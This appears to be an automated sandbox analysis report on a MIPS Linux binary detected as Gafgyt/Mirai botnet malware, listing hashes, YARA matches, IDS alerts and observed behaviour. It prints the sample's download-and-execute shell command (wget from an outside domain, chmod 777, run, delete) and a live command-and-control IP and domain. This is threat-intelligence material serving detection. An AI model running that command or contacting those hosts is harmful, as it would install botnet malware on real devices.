Linux Analysis Report
mips.elf

General Information

Sample name: mips.elf
Analysis ID: 1686579
Has dependencies: false
MD5: a798ec8a9b93780aa616fd2ebdf49a62
SHA1: 2a91d8475b8c69bd637d2c5f1e047f66e460039a
SHA256: 34d2a66be0a9357303e75d4577630466515f64948b20baadfbdaf135ba15e39b
Tags: elfuser-abuse_ch
Infos: yara

Detection

Gafgyt, Mirai
Score: 96
Range: 0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Gafgyt
Yara detected Mirai
Contains symbols with names commonly found in malware
Opens /proc/net/* files useful for finding connected devices and routers
Creates hidden files and/or directories
Creates hidden files without content (potentially used as a mutex)
Detected TCP or UDP traffic on non-standard ports
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "rm" command used to delete files or directories
Executes the "wget" command typically used for HTTP/S downloading
Reads the 'hosts' file potentially containing internal network hosts
Sample contains strings that are user agent strings indicative of HTTP manipulation
Sample tries to set the executable flag
Sets full permissions to files and/or directories
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Bashlite, Gafgyt Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite
Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: mips.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: mips.elf Virustotal: Detection: 65% Perma Link
Source: mips.elf ReversingLabs: Detection: 62%

Spreading
barindex
Opens /proc/net/* files useful for finding connected devices and routers
Source: /tmp/mips.elf (PID: 5434) Opens: /proc/net/route Jump to behavior

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35120
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35130
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35108
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35124
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35118
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35110
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35106
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35116
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35122
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35112
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35126
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35104
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35128
Source: Network traffic Suricata IDS: 2839489 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response : 92.60.77.69:666 -> 192.168.2.13:35114
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:35104 -> 92.60.77.69:666
Executes the "wget" command typically used for HTTP/S downloading
Source: /bin/sh (PID: 5455) Wget executable: /usr/bin/wget -> wget -q http://gay.energy/.../vivid -O ..... Jump to behavior
Reads the 'hosts' file potentially containing internal network hosts
Source: /usr/bin/wget (PID: 5455) Reads hosts file: /etc/hosts Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: global traffic DNS traffic detected: DNS query: gay.energy
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com

System Summary
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Malicious sample detected (through community Yara rule)
Source: mips.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5434.1.00007fed08400000.00007fed08421000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5439.1.00007fed08400000.00007fed08421000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5440.1.00007fed08400000.00007fed08421000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mips.elf PID: 5434, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mips.elf PID: 5439, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mips.elf PID: 5440, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Contains symbols with names commonly found in malware
Source: ELF static info symbol of initial sample Name: vseattack
Yara signature match
Source: mips.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5434.1.00007fed08400000.00007fed08421000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5439.1.00007fed08400000.00007fed08421000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5440.1.00007fed08400000.00007fed08421000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mips.elf PID: 5434, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mips.elf PID: 5439, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mips.elf PID: 5440, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: classification engine Classification label: mal96.spre.troj.linELF@0/1@6/0
Source: mips.elf ELF static info symbol of initial sample: libc/string/mips/memcpy.S
Source: mips.elf ELF static info symbol of initial sample: libc/string/mips/memset.S
Source: mips.elf ELF static info symbol of initial sample: libc/sysdeps/linux/mips/crt1.S
Source: mips.elf ELF static info symbol of initial sample: libc/sysdeps/linux/mips/crti.S
Source: mips.elf ELF static info symbol of initial sample: libc/sysdeps/linux/mips/crtn.S
Source: mips.elf ELF static info symbol of initial sample: libc/sysdeps/linux/mips/pipe.S
Source: mips.elf ELF static info symbol of initial sample: libc/sysdeps/linux/mips/syscall_error.S
Source: mips.elf ELF static info symbol of initial sample: libc/sysdeps/linux/mips/vfork.S
Creates hidden files and/or directories
Source: /usr/bin/wget (PID: 5455) File: /tmp/..... Jump to behavior
Source: /bin/sh (PID: 5463) Directory: /tmp/..... Jump to behavior
Source: /bin/sh (PID: 5463) Directory: /tmp/..... Jump to behavior
Creates hidden files without content (potentially used as a mutex)
Source: /usr/bin/wget (PID: 5455) Empty hidden file: /tmp/..... Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/mips.elf (PID: 5437) Shell command executed: /bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....." Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5462) Chmod executable: /usr/bin/chmod -> chmod 777 ..... Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /bin/sh (PID: 5465) Rm executable: /usr/bin/rm -> rm -rf ..... Jump to behavior
Executes the "wget" command typically used for HTTP/S downloading
Source: /bin/sh (PID: 5455) Wget executable: /usr/bin/wget -> wget -q http://gay.energy/.../vivid -O ..... Jump to behavior
Sample tries to set the executable flag
Source: /usr/bin/chmod (PID: 5462) File: /tmp/..... (bits: - usr: rwx grp: rwx all: rwx) Jump to behavior
Sets full permissions to files and/or directories
Source: /bin/sh (PID: 5462) Chmod executable with 777: /usr/bin/chmod -> chmod 777 ..... Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/mips.elf (PID: 5434) Queries kernel information via 'uname': Jump to behavior
Source: /usr/bin/wget (PID: 5455) Queries kernel information via 'uname': Jump to behavior
Source: mips.elf, 5434.1.00005608633ce000.0000560863455000.rw-.sdmp, mips.elf, 5439.1.00005608633ce000.0000560863455000.rw-.sdmp, mips.elf, 5440.1.00005608633ce000.0000560863455000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/mips
Source: mips.elf, 5434.1.00005608633ce000.0000560863455000.rw-.sdmp, mips.elf, 5439.1.00005608633ce000.0000560863455000.rw-.sdmp, mips.elf, 5440.1.00005608633ce000.0000560863455000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: mips.elf, 5434.1.00007ffca3721000.00007ffca3742000.rw-.sdmp, mips.elf, 5439.1.00007ffca3721000.00007ffca3742000.rw-.sdmp, mips.elf, 5440.1.00007ffca3721000.00007ffca3742000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.elf
Source: mips.elf, 5434.1.00007ffca3721000.00007ffca3742000.rw-.sdmp, mips.elf, 5439.1.00007ffca3721000.00007ffca3742000.rw-.sdmp, mips.elf, 5440.1.00007ffca3721000.00007ffca3742000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
Source: mips.elf, 5434.1.00007ffca3721000.00007ffca3742000.rw-.sdmp Binary or memory string: V/tmp/qemu-open.8vpvW7\
Source: mips.elf, 5434.1.00007ffca3721000.00007ffca3742000.rw-.sdmp Binary or memory string: /tmp/qemu-open.8vpvW7

Stealing of Sensitive Information
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Yara detected Gafgyt
Source: Yara match File source: mips.elf, type: SAMPLE
Yara detected Mirai
Source: Yara match File source: mips.elf, type: SAMPLE
Source: Yara match File source: 5434.1.00007fed08400000.00007fed08421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5439.1.00007fed08400000.00007fed08421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5440.1.00007fed08400000.00007fed08421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mips.elf PID: 5434, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: mips.elf PID: 5439, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: mips.elf PID: 5440, type: MEMORYSTR
Sample contains strings that are user agent strings indicative of HTTP manipulation
Source: Initial sample User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00
Source: Initial sample User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00
Source: Initial sample User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00
Source: Initial sample User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01
Source: Initial sample User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Source: Initial sample User agent string found: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: Initial sample User agent string found: Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51
Source: Initial sample User agent string found: Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
Source: Initial sample User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0

Remote Access Functionality
barindex
Yara detected Gafgyt
Source: Yara match File source: mips.elf, type: SAMPLE
Yara detected Mirai
Source: Yara match File source: mips.elf, type: SAMPLE
Source: Yara match File source: 5434.1.00007fed08400000.00007fed08421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5439.1.00007fed08400000.00007fed08421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5440.1.00007fed08400000.00007fed08421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mips.elf PID: 5434, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: mips.elf PID: 5439, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: mips.elf PID: 5440, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
92.60.77.69
 unknown Italy 5602 AS-IRIDEOS-KPIT true

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true
gay.energy unknown unknown